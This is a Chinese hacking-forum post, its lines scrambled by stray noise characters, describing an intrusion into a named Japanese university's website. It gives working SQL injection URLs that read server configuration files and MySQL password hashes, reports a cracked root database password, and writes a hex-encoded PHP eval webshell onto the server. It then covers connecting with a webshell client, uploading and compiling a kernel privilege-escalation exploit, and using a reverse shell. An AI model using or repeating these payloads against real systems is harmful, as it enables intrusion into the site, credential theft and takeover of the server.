入侵日本同志社大学技术分析
: h- }% q* Q: s" { B5 F! I, Y2 e! K* q4 c4 |) l: V: f
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
: z1 Q2 [, i3 e8 R6 ^2 l然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:8 m2 G8 ?. H8 V- u% O
3 _6 N: E, l2 yhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
- s6 h, R, Z2 d0 N3 a K' t( G
! {! m$ d8 }/ b6 n+ l9 o5 u
/ h o& X3 q; l% H0 A( I* I+ e3 \4 D! ]$ b8 B6 ~
//@@datadir为数据库文件路径
- K; \, R( ? u( \- }
, R6 D. c! k3 G& S" V/ [8 q7 e7 }
//load_file读取网站容器apache的配置文件 9 V1 N( M8 Y2 ~* x3 P& { f6 z
6 B3 |' _& Y2 `% F
& W& a1 I( ~* D$ T//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
( Z0 @- g8 h' h9 P复制代码2 m9 k2 W% G' T
: w5 J. D, u% O/ Z2 n
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
$ S, w& Q& x# p% b7 v1 q8 I8 K! C
% M: a! {7 c* N而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。* l) L8 Q* a( w) v! P1 m) @
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)9 D4 ?8 x5 \$ \# b8 q2 A
7 v) T/ Q1 e9 r8 S; E/ X# w1 ?
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
& h7 {& }: ]8 |/ u& q! H如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html8 r0 Z" U- m( b5 {1 `, P; c6 J) }
( @" I% c' {" f
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
- |5 l6 t3 d! `; h! h6 N6 J虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。/ B7 Y+ t9 U3 |
直接写一句话:
3 V$ u- j+ q6 q. T+ N. `5 t2 N/ u+ w
# S* m W" A0 T Q+ y) |http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
7 o, H2 G: h4 z1 [& ~, T+ C, }$ g6 x& `
) B% S ^- ?9 o) ~
. k$ ~1 d! ]5 K8 { q- ~, l
//最后的#是为了闭合前面的语句 3 \( K; S% ]) z: a
5 X4 C. c( o- P4 b: z) j; e
0 P6 d: ^& g* E7 a% q9 O; M0 a/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
) L- |' Y& Y l( w, X4 D& _" ?5 C ' ^7 E+ m: F4 q( ?' q
1 G4 R# {9 K9 e. h为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ , D6 D& i8 a; w$ _0 ~6 I2 g
) f5 }5 n% U' d
7 ^7 P+ L4 N! P {7 U n8 W//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
& D' B6 B) c6 ]/ j' `
, G" l+ b" w6 |5 C7 J/ A8 }# F, \6 \3 Z* z* }' \
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 ' T4 Y/ i1 u! l8 k
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” + v4 J- }3 u% x! @( n1 \
复制代码
( Q8 T" t2 M) t& \7 d& X! U8 ^
/ z- |. N% U4 I2 \/ HHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有7 P; W4 l7 e- I. a
通过上述注入语句,我们就得到了一句话木马:
* G( o1 o1 M, v y. o
, @& { H* S4 ~6 V9 M% G ! k8 ^4 g7 o }
0 E# a% h5 L1 u! _0 }' l# {" I
, o9 h+ x' n: P* @8 y5 L
; V* L- G7 S' H" c+ V* a) Xhttp://www.doshisha.ac.jp/english/engnews_img/aa.php
' O( ?8 _ @% M8 ]# c- @1 ?+ D复制代码
% _$ T% N1 G) a' W( z
8 C, F( j5 N* T/ J. W. I用菜刀连接,密码是cmd,如图所示:
+ Q) T i* \6 k然后在命令提示行里看了一下,现在的权限是:
2 \% m8 Q" [* Z9 @- e% y8 I1 ]- E! E: m+ ~+ T' }( i. |
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。8 h7 x4 x" c: W `/ @+ o9 \
好在赋权给这个文件夹不需要root,直接执行赋权语句:
2 b p3 n4 g# N' {+ h; k$ I2 r( N7 w7 n( G* H
% f- L+ [% h7 l( g! g$ d
$ {) `+ y0 p& N1 Q
5 k( u4 a9 A# y1 G
# Q# S+ \6 h$ J H/ M. r- gchmod +x /tmp/
* c& C4 y4 [2 S! ?* p( I. F复制代码
' F. j8 j+ b! r+ O$ j: h- V9 }+ ]0 F( }* E& |9 K
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
# e" y } w, h9 H$ e4 o) C K) ]然后就查了一下内核版本:. l1 @, g6 Q+ {2 T' Q
1 `" z# {, \7 o4 h; P( E
! T" O- v! q, H% H
: j$ [6 R t1 h
9 x) Y3 m3 R$ W C
) o' Q# h8 C; M% d' N, S: ]uname-a ' q& T5 s) ~7 K0 u
1 k$ a5 R/ T! ]: Y5 C( L* D! m: Z* E
//其实lsb_release -a # z. |0 ?' P) `9 e" e( d# ]: T
复制代码% K0 Y ^# o! I
6 ?9 s5 v8 G$ c" u* @+ F
如图所示:6 G `0 @: p) z4 C8 U) b0 B* p
* ~! z b9 ~$ x `& Z内核版本:linux mainz1 2.6.28-194.e15
; R4 f. Z5 @! P2 p' o; s系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)1 S# H( _" z; J! X: `) e( h
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
; D: t* P# a+ j2 l
( h6 x+ V5 S: v+ W; m1 e! o然后给予执行权限
0 ~ t: V' z/ U: y1 b* w' Q" S; [一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样3 J& h* ]; C9 P9 [
2 ~8 M5 v; {" B8 M8 e
! ]. H. w: j3 C8 v* v( c# L
+ |3 |' z L* K* [% B/ r
9 U" C* X$ g- Z; U9 M, N+ z
; p! S) @, i8 w% y5 c: fchmod +x /tmp/2.6.18-194
! \! k! B3 r; _# _9 w; f复制代码 然后直接执行!~
& p% r# I/ _' @6 X F/ m# ~9 X6 [
1 y5 j: Y1 \! E7 c总结:
# N( s; G/ S; ?9 K R# V这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了5 _# v! {8 J8 o6 i. x
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
4 ]5 s9 Z# r; T T$ R
2 ~# F* ~$ `. t# a |